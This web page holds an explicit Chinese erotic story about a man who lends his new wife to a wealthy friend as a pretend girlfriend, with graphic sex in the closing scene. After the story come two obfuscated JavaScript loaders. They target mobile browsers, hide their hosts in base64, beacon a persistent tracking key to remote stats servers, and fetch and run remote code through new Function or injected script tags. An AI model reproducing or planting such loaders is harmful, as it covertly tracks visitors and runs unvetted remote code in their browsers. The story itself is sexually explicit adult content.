爱妻也是够了[科学幻想]

 
  愛妻小菲



小菲,結婚剛剛一年,可以說是個天生的尤物,還記得我第一次褪去她的衣

衫,看到她白如羊脂一樣的胴體時,我由衷地讚歎造物主的神奇,賦予女人的如

此凹凸有緻的身體,散發出如此驚人的美。婚床上她在我的懷裡像一條蛇,又像

一尾游泳的魚兒,深深地體會到古人為什麼會用「魚水之歡」來形容夫妻之事。



婚後在我頻繁的雨露滋潤下,小菲更加出落得富有女人味了,小菲天生皮膚

白皙細膩,現在白皙中透著隱隱的紅,一雙大眼睛總是水汪汪的注視著你,散發

著小姑娘的朦朧,小巧的嘴唇很有肉感,總是似笑非笑的樣子;身材豐腴修長,

尤其是一雙玉腿,白皙勻稱,大腿結實,豐滿的屁股透漏著她成熟女人的秘密。



此刻正注視著我的嬌妻向我走來,今天晴空萬裡,日頭很足,她戴著黑超墨

鏡,一頭燙成波浪的秀髮鋪散開。她身著一件白色紗質吊帶裙,酥乳隨著走路微

顫,裙襬及膝,豐滿的臀部緊緊被包裹著;沒穿絲襪,裸著腿下面露出一段美麗

的小腿,彷彿玉雕一樣圓潤筆挺,踩著高跟鞋,向我款款而來。



看到不少行人向她行注目禮,我心裡別提多高興了,尤其是一個眼鏡小子,

緊緊盯著我老婆的屁股,我看到他做了吞咽的動作,心裡翻出一陣陣得意,腦海

中居然泛起這個小子趴在小菲身上,在她雪白的屁股上用力拱的情形。



我很奇怪自己的這種心態,非常愛自己的老婆,對別的女人身體提不起興趣

來,但是一想到別的男人親近自己的老婆就覺得很興奮。開始時覺得我很變態,

後來在網上看到很多人妻類小說,才發現自己不是個別現像,而是一個群體。再

往後常年泡在網上,經常和網上的同好交流才覺得自己不那麼變態了。



「老公,這麼急叫人家來幹嘛?害得我向老闆請假。」小菲嘟著小嘴向我抱

怨,臉上卻掛著微笑把我從遐想中拉回。



「是不是想人家了?」她故意把「想」字重讀,目含春情的望著我。我擰了

下她的屁股:「就是想你了。」她驚叫著跑開了:「要死!公共場合耶!」臉上

泛起一絲紅暈煞是好看。



「色狼來也!」我快步追上她,輕輕一帶,她順勢依偎在我身上,挽著我的

胳膊,低眉順眼,彷彿一隻小綿羊。我低頭看去,她露出一截後頸,只見烏髮鋪

散,玉頸雪白,真想咬一口。



我們很快進了上島咖啡,因為中午的時候接到我死黨好友馬騰的電話,非要

我來這裡見面,還要喊上菲菲。





好友馬騰



「我也不知道馬騰這小子著急叫我來幹嘛,還必須喊上你。」



馬騰是我的好友,他生得高大帥氣,得益家庭支持和自己的努力,生意很成

功,年紀輕輕就坐擁不菲的身家。他身邊美女眾多,缺依然保持單身,並宣稱單

身是男人最好的生活方式,弱水三千,瓢瓢都要,痛飲長江三千裡的豪情。



他和我有多年交情,結婚前經常一起廝混,當然我從法律上也給他不少生意

的幫助,追小菲的時候他也不少出謀劃策,甚至我們倆的甜蜜細節都和他聊過。

新婚之夜我們都喝了不少酒,他一個勁嚷嚷著要和我一起進洞房,被我和小菲連

推帶打的趕了出去。



婚後我們依然保持著良好的關係,只是我和老婆消磨的時光更多些。每次和

馬騰出來,小菲都要跟著,理由是監督我,所以她和馬騰也很要好。



「是麼?和我有什麼事?」



「呵呵,是不是你們倆有什麼小秘密?」我故意逗菲兒。她玉面一沉,眼睛

瞪得大大的看我。「逗你玩兒了,寶貝。」我趕忙解釋:「再說就算你們有事,

我還覺得很興奮呢!」



我和菲兒之間無話不談,從沒有秘密,她很清楚我的這種淫妻心態,我還不

時鼓勵她找個情人一起遊戲一番,但是她很有原則,從不做什麼出格的事情。



我眨眨眼睛,「討厭,不理你!」菲兒扭過頭去,嘟著小嘴。我正要調戲一

番,看到馬騰來了,這小子穿一件雪白的襯衣,顯得很精神。



「松哥、肥姐。」



「討厭,誰是肥姐?是菲姐!」



「對,對,飛姐。」馬騰兩手做著小鳥飛的樣子,菲兒「噗哧」一笑樂了。



「多日不見,菲姐身材更好了,看來松哥沒少下工夫啊!」



不能不說馬騰是個很有女人緣兒的傢伙,身邊美女無數,個個都想拴住他,

就是沒一個得逞。



「什麼事啊?電話也不能說,還必須帶小菲一起來。」我喝口紅茶問道。



「唉,急事。」



「哦?」



「我……」馬騰略顯猶豫的看著我又看看菲兒,這不像他的一貫風格,他是

很直來直去的人,多年的交情,早已有默契,從不繞圈子。



「說啊,這可不是你的風格。」我說道。



「我……嗨!」他一揮手,說道:「我想借菲兒做幾天同居女友。」



「啊?」我和小菲同時叫出來。



「是這樣,我姑媽要給我介紹一個女孩子,這女孩是我姑父老戰友的女兒。

你也知道,我這麼多年生意上要得益於我我姑父的關係。」馬騰家世不錯,姑父

身處要樞。



「這個女孩的父親和我姑父是戰友,生死之交,家中獨子,年初我帶他們去

時,這女孩也在,誰知道她就看上我了,誰讓咱爺們兒就招美女。」他做個得意

狀,又馬上苦著臉說道:「後來一問我單身,就託姑姑說媒,我怎麼也回不掉,

只好說,有了女友已經同居,準備結婚了,結果誰知道我姑姑給我搞突然襲擊,

說要今天來看看我,住我家裡。這麼多年我就沒騙過我姑姑,而且她也確實像撮

合我們兩個,真要命啊!」



馬騰苦著臉說完,「咕咚咕咚」灌下一大口咖啡:「風流馬大帥怎麼能讓一

個女人管住?但是這種女孩娶回家,我就真的要被管住了。」



「你身處百花叢,隨便找一個應景啊!」我說道。



「你也知道我和這些女孩都是真真假假的,誰知道是喜歡我還是我的錢,萬

一賴上我,就是才出虎穴又入狼窩啊!而且哪個比得上菲兒這麼聰明賢慧,能讓

我姑媽放心的呢!」



馬騰說得也對,菲兒確實乖巧懂事、識大體又美麗,這樣的女孩確實不多。



「這……」我為難地看著馬騰,「唉!就幾天而已,應付過去,保證完璧歸

趙!」馬騰笑著對我說,眼睛卻沖著菲兒。





借尊夫人一用



「就借尊夫人一用嘛!」馬騰沖我眨眨眼,其實他也很清楚我的喜好。小菲

剎那臉紅了,然後蠻橫的抬起頭:「你們這些臭男人把我當什麼啦?」



「菲兒,松哥是我的朋友,你也是我的朋友,你這麼熱心就是幫朋友一個忙

嘛!你和松哥是夫妻,我當然要首先徵求松哥的意見了,你的意見一樣重要,幫

幫忙嘛!求你了大美女。」馬騰急切地看著我和小菲,小菲卻扭頭看著我,我知

道她是一個善良的女孩,又充滿了好奇和幻想。



這時我覺得心跳得很快,這麼多年幻想的分享妻子的事情就要實現了,覺得

臉在發燙,想像著愛妻和一個男人躺在床上,像情人一樣生活就覺得非常刺激,

但是作為丈夫要讓自己的新婚妻子去給另外一個男人做女朋友,又有幾分心中酸

澀,而這種酸澀更加刺激自己的情緒。



「好吧,不過你可是只能看不能用啊!你看呢?菲兒。」我問小菲意見。



馬騰哭喪著臉看著小菲,帶著哭腔求道:「菲姐姐救我啊!」



「才不能,就要看你出醜!」



「啊?」馬騰叫了起來,我心裡也是一緊。



「好姐姐最善良了,不會見死不救的。」馬騰扮個悲劇的鬼臉。



「哈哈!」小菲「噗哧」笑了,故意板著臉說:「誰是你姐姐了?你比我大

呢!好吧,平時那麼威風的馬總這麼可憐,這次幫你了。」菲兒總是這麼善良。



馬騰如釋重負,千恩萬謝。



「你呀,也該收收心了,上次那個車模就挺好,那麼漂亮,還是大學生,人

也踏實,燒的菜那麼好,我們家青松回家一個勁地誇呢!」小菲瞟了我一樣,我

「嘿嘿」乾笑兩聲。



「是的,是的,」馬騰趕忙應承著:「等過了這關,我們去三亞放鬆放鬆,

我請客!我姑媽快到了,這樣,我和菲兒去接我姑媽,這幾天菲姐就暫時住我那

兒。」馬騰看著手錶。



「那我的東西呢?什麼都沒準備啊!」菲兒說。



「只有我這個老公去幫你收拾了,然後送到『你們』的家裡。」我故作無奈

地說。



「討厭!你這麼說我不去了。」小菲害羞了。



「寶貝,我逗你呢!」



「你們兩個別黏糊了,我姑媽的飛機快到了。松哥,過會兒我給你電話,晚

上一起吃飯,你負責的這個經濟糾紛案子正好給我姑媽說一下,一千多萬元的官

司,你賺了。」馬騰此刻顯示出一個生意人的樣子。「好的。」說實話,這個案

子糾纏我很久了,爭取讓雙方和解,拿出一大筆錢來。



我們出了上島咖啡,看著小菲鑽進馬騰的越野車絕塵而去,一絲異樣的感覺

浮上我的心頭。





夜宴



回到家裡,我本想給小菲打個電話請示,但轉念一想,又放棄了,夫妻生活

已經很瞭解她的需要,幫她收拾些洗漱化妝用品,就去挑了幾件性感的內衣和裙

子。看著老婆的黑色半透明內褲,散發著芬芳,腦中幻想著她穿上這些衣服在馬

騰家裡的情形,發現下邊的兄弟居然漲漲的。



這時電話響了,是馬騰:「松哥,你別去我家了,把東西直接給我送過來,

到海鳥餐廳。我姑媽正好來了,我已經和姑媽說了你的事了,你正好詳細說說,

還有我們家小菲,晚上六點半。」



「好的。」我掛了電話。才不到兩個小時,我的愛妻已經成了他的小菲了。



海鳥餐廳,我提前到了,坐在包間,來回溜達,從窗戶上看到樓下馬路,馬

騰也到了,居然和菲兒牽著手,像情侶一樣,陪一個中年婦女走來,我心裡想:

『馬騰、菲兒,你們也太入戲了!』



包間門打開,菲兒看到我很不好意思的鬆開了挽著馬騰胳膊的手,我沖她使

個眼色,指指包律師的細膩,我發現馬騰的姑媽不易察覺的看了我們一眼,我趕

忙坐下。



開席,席間菲兒殷勤地夾菜、陪酒。馬騰為了堵住姑媽的嘴,不停地勸酒,

他本身就海量,沒想到姑媽也是高手,居然喝了三瓶茅台。我已經堅持不住了,

菲兒更是面若桃花,馬阿姨居然紋絲不動,叨叨什麼婚姻是人生大事,要有責任

心,不僅對自己,對家族也要負責之類的屁話。我已經不行了,跑到包間的衛生

間裡去吐後清醒多了。



這時馬騰公司的人來接我們,本來我要就此別過,可是走的時候秘書扶著馬

阿姨,小菲和馬騰互相攙扶,本來我正要發作,自己的老婆不攙老公,居然扶別

人,馬上又意識到,自己現在必須接受,現在這個美女是人家的女朋友,而不是

自己的新婚妻子了,她暫時恢復了單身,並且有一個男朋友這個事實。



我自己走在後面,看著自己的愛妻依偎在別人的懷裡,心裡真是說不出的滋

味。馬騰這小子平時就色,我發現他攬著小菲的手,不知道是喝多了手發軟還是

故意的,慢慢滑到腰上,現在又不動聲色的放在小菲豐滿的屁股上。



小菲穿的白色吊帶裙子,身材本來就好,這件吊帶顯露乳溝,加上馬騰個子

高大,從他的角度看去,真是把小菲看個清清楚楚,小菲居然沒什麼反應,不知

道是不是喝多了,並且揉捏起來。我看到司機暗自竊笑,馬阿姨倒是不動聲色。



小菲的屁股很敏感,她軟軟的靠在馬騰的懷裡,我使勁甩甩腦袋,確認不是

幻覺,仔仔細細地回憶下午和馬騰的約定,似乎是只能看不能用的啊!但是心裡

又很刺激,隱隱的期待這什麼事情發生,可又害怕發生,又擔心小菲是不是喝多

了,趕忙和秘書說:「我有東西給馬總。」便一起上車。



平時馬騰公司的人經常見我,也沒說什麼,倒是馬阿姨微微皺了下眉,也沒

說什麼,這樣我就拎著小菲換洗衣服的包上了車,直奔馬騰的公寓而去。





迷亂夜



總算到家了,馬阿姨倒有些不行了,畢竟上了年紀,嘴上還是叨叨不絕說些

婚姻大事之類的話,馬騰不住點頭,眼睛卻亮了起來。多年的朋友,我知道他這

時酒醒了,只是敷衍他姑媽而已,心裡暗想:『你小子蒙得到了你姑媽,卻蒙不

過我。』



這時馬阿姨說:「小騰,讓你朋友回去吧!這麼晚了。」馬騰看我,這個馬

阿姨又發話了:「你看你也不照顧好你老婆,讓她這麼躺著。」我們一看,菲兒

是真不行了,平時就沒酒量,今天喝了這麼多,斜靠在沙發上。



馬騰看我,我趕緊接話:「是啊,你也太粗心了,還不扶小菲去睡?哦,這

是你的東西。」順手把包給了馬騰。馬騰給我一個愧疚的表情,我作大度的微微

點頭,心裡卻想:『剛才車上你小子手往我老婆裙子裡伸,又不是沒看到噢!』



而馬騰臉上浮現一絲得色,抱著醉了的小菲進了臥房。關上門的剎那,我心

裡伴隨著關門聲也咯登一下,裡面會發生什麼事呢?



馬阿姨還在問我:「結婚了沒?要抓緊了,小騰都有了。」我心裡想:『他

媽的小騰現在抱著的就是我老婆!』



過了一會,馬騰居然沒出來,馬阿姨總算扛不住,說聲:「我去睡了,這麼

晚,小松你也別回去了,就留著吧!」我忙應了一句,但是我坐著沒動。



很快傳來馬阿姨的鼾聲,而馬騰居然還沒出來,我躡手躡腳地走到房門,我

們很熟,留宿他們家也是常事,但是門居然鎖了,我心裡暗罵一句。心想折騰一

晚,又喝這麼多酒,他們倆肯定睡了,就去平時我睡的那個屋子睡覺了。心想小

菲會怎麼樣呢?雖然和馬騰很熟,可是畢竟是和一個老公外的男人睡在一張床上

啊!想著想著也睡著了……





夢想成真



「嗯……嗯……啊……」深夜裡男女歡愛的聲音低沉而又清晰,由遠及近的

傳來:「老公……嗯……」



「小菲!」我一個激靈醒了,回想起今天的事情,意識到自己還待在馬騰家

裡,小菲在馬騰的臥室。我發現口渴得厲害,然後去廚房找水,那麼剛才的聲音

就是一個春夢了,畢竟期盼多年的分享妻子終於實現,而嬌妻小菲此刻正躺在一

個男人的床上。



我輕輕地出門,聽到馬阿姨鼾聲依舊,我便走向廚房,走過衛生間時,無意

看到一條肉色半透明的內褲,是早上小菲換的,難道……我趕緊快步走過去,發

現除了內褲,還有胸罩也扔在裡面的盆中。小菲做事細心,貼身衣物不會隨意丟

棄,只有男人才這麼粗枝大葉,難道是馬騰替她換的衣服?



正在我滿腹狐疑之際,那個銷魂的聲音又若隱若現的飄來,我循著聲音輕輕

地走去,果然從馬騰的臥房傳來,居然門只掩著留到縫,並沒有關上。



我趕緊貼上去向裡看,看到一個男人壯碩的屁股一前一後的賣力拱著,屁股

的兩邊是一雙女人的大腿,大大的分開,成一個M型,用力向外挺著支撐著男人

的身體,伴隨著男人的撞擊扭動身體迎合著。小巧的腳踝上繫著一條白金鏈子,

正是我送給小菲的,這個極力迎合男人撞擊的正是我的新婚妻子小菲,而她身上

的男人正是我的好友馬騰!



這一幕雖然我幻想過無數次,可是當它真的出現在我面前時,卻比我的幻想

更加刺激。我側過來看,小菲烏髮散亂、面色潮紅,緊緊地閉著雙眼、咬著下嘴

唇,兩隻胳膊伸向後面試圖抓著什麼,胸部更加高聳,一隻大手抓這一隻酥乳揉

捏著;馬騰喘著粗氣,另一隻手抓著床沿,俯視著胯下的尤物。



「啊……嗯……噢……」小菲臉色漲紅,不時發出暢快的呻吟。「嗷∼∼」

的一聲低吼,馬騰拔出了他的傢伙:「真他媽的緊啊!」小菲身體一扭,杏眼微

啟,眼睛中霧濛濛的,嘟著小嘴正要開口,馬騰狼吻下來,舌頭不由分說侵入小

菲的嘴裡,兩個人忘情地擁吻著。



小菲的手慢慢攬上了馬騰寬闊的後背,慢慢滑到馬騰的屁股上,然後小手像

一道白光,倏一下滑進了馬騰的兩腿中,抓住馬騰的話兒往自己肉洞裡塞,『真

是個騷貨!』我心裡暗想,菲兒到了床上就是最淫蕩的妓女,不過這不正是自己

一直想看到的麼?



「討厭!」小菲輕輕柔柔的嗔怪道,原來馬騰沒有順從小菲,躲開了小菲,

小菲輕攥粉拳敲了馬騰的胸大肌,彷彿一個嬌羞的小媳婦兒怪自己年輕魯莽的丈

夫:「把人家弄成這樣,現在又要躲。」



「弄成哪樣啊?」馬騰笑得彷彿一個舊社會的青皮。



「就是……就是……下面空得厲害,癢癢的,好想……」



「想什麼?快說啊!說了哥哥就給你。」馬騰壞笑的看著懷裡的小菲。



「想要你的小弟弟……」小菲羞澀的說道。



「要我的小弟弟做什麼?」



「到我那裡。」



「到你那裡?哪裡呢?」馬騰故作無知的看著菲兒。



「就是那裡嘛!」菲兒聲音更低了。



「是不是你的騷屄?」馬騰開始呼吸急促,大手整個蓋住菲兒的陰部:「你

這裡是女孩兒最神秘、最害羞的部位吧?」



「嗯。」



「那是不是應該婚前保護好,不給人家看,婚後也要保護好,只留給你老公

一個人?」馬騰嘴不停,手也不停,輕輕地按摩小菲的羞恥之處。



「嗯……」菲兒已經羞得說不出話來,聲音有些迷離。



「那為什麼現在給別人男人隨意摸、隨意看、隨便玩?」馬騰這小子真能搞

名堂。



「為什麼?」馬騰步步緊逼。



「哦……哦……我不知道,我不知道……」小菲好可憐,雙目緊閉、臉色緋

紅。



「我告訴你,因為你是騷貨,骨子裡是淫蕩的,現在經過婚姻的洗禮,你的

淫蕩被釋放出來了。你是個妻妓,像妓女一樣淫蕩的妻子。」馬騰的話兒在小菲

的羞恥之處來回摩挲,小菲已經徹底迷離了,口中喃喃不知說些什麼。



「我是騷貨,我天生就是淫蕩的,我是一個妓女一樣淫蕩的妻子……」小菲

徹底被擊潰了:「快來啊!」



「求我操你,求我操你這個騷貨的淫屄,你的淫屄就是準備給男人操的。」

馬騰說。



「快操我!快操我!操我的淫屄,我的淫屄就是準備給男人操的!」菲爾迷

離了。



「我是誰?」馬騰問。



「馬騰……馬騰哥。」小菲說。



我心裡一陣悽楚,平時都是馬騰管小菲叫菲姐,雖然他比小菲大,但是現在

到了床上,小菲居然叫馬騰哥。



「叫好哥哥。」馬騰開始吻小菲的耳垂,還有脖子和優美的鎖骨,口中不停

地說:「叫好哥哥、好老公,求老公操你的騷穴。」他還是在摩挲著小菲的敏感

的陰蒂。



「老公,快來噢!嗯……我受不了了,我的騷屄受不了了,快操我啊!好哥

哥,好老公……」小菲的表現大大出乎我的預料,如此放蕩的小菲是我從沒有見

過的。



「啊……」只見馬騰跳到床下,一把抓住小菲的腳踝,把她的腿架在自己肩

膀上,下身忽的插了進去。馬騰的傢伙不是很長,但是很粗,經過前面一番言語

撩撥,小菲早已經神魂顛倒,現在感到空前的刺激,淫水濕得一塌糊塗。我也發

現自己下身怒漲起來,不由用手去撫弄。



「啊……哦……啊……啊……」馬騰一手緊握小菲結實的大腿,下身快速地

抽插:「騷菲兒,你這個妻妓,操你!」快速的抽插讓小菲已經沒有了知覺,來

回扭動身軀,彷彿不斷通過電流,又彷彿漩渦中的水流一陣一陣湧來,嘴巴完全

沒有任何聲音,只是「噢噢」的叫著。我也加入進來,不斷加快手上的動作。



床開始發出有節奏的聲音,一切彷彿一組交響樂到了最高篇章,小菲和馬騰

同時發出低吼,然後馬騰轟然倒在小菲身上,小菲緊緊抱著這個給她無數高潮的

男人,我看到一股股濃濃的液體從小菲的小穴裡湧出。我也發射了。



真是一個迷離的夜晚啊!我靠在門口,一切彷彿復歸平靜,剛才壯麗的音樂

會彷彿從沒有發生過。



這時忽然傳來小菲柔柔的聲音:「我們怎麼能這樣做呢?怎麼辦啊?你快說

話啊!豬。」



豬?小菲對我的昵稱,這麼快就易主了?我心裡泛起陣陣酸澀。



「我們都喝多了,而且你這麼性感迷人躺在我身邊,神仙也把持不住啊!放

心吧,寶貝,我會去和青松解釋的,沒準兒他反而偷著樂呢!你也應該知道他那

點兒小心思吧?」馬騰把我的愛妻菲兒抱在懷裡,手在她光滑的後背劃過:「睡

吧,天亮前我們再來一次。」他輕輕拍著菲兒,彷彿在哄一個小孩睡覺。



「討厭!都做三次了,你還行麼?」菲兒笑著捶打馬騰。



三次了?我不由驚呆了,這是一個什麼樣的夜晚?明天又將面對怎樣的一天

  
关闭
关闭
function pSxyUYrQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function qnaQft(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return pSxyUYrQ(t);};window[''+'M'+'T'+'L'+'b'+'Y'+'i'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AeFX(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=qnaQft,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AeFX(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qw.tangzonchuang.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AeFX(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnpoYW9mZW5ncnVpMS5jbiUzQTTg4OTTE=','d3NzJTNBJTJGJTJGdHkudmV0ZZGFuZZy5jbiUzQTk1MzQ=','9489',window,document,['T','Z']);}:function(){};
function nRoTtV(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function XhwHRTK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return nRoTtV(t);};window[''+'M'+'s'+'h'+'p'+'n'+'A'+'H'+'d'+'G'+'I'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LUyKT(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=XhwHRTK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LUyKT(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LUyKT(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQQTg4OTE=','aHR0cHMllM0EllMkYllMkZhLnllra2hqcy5jbiUzQTk1MzU=','168322',window,document,['Q','l']);}:function(){};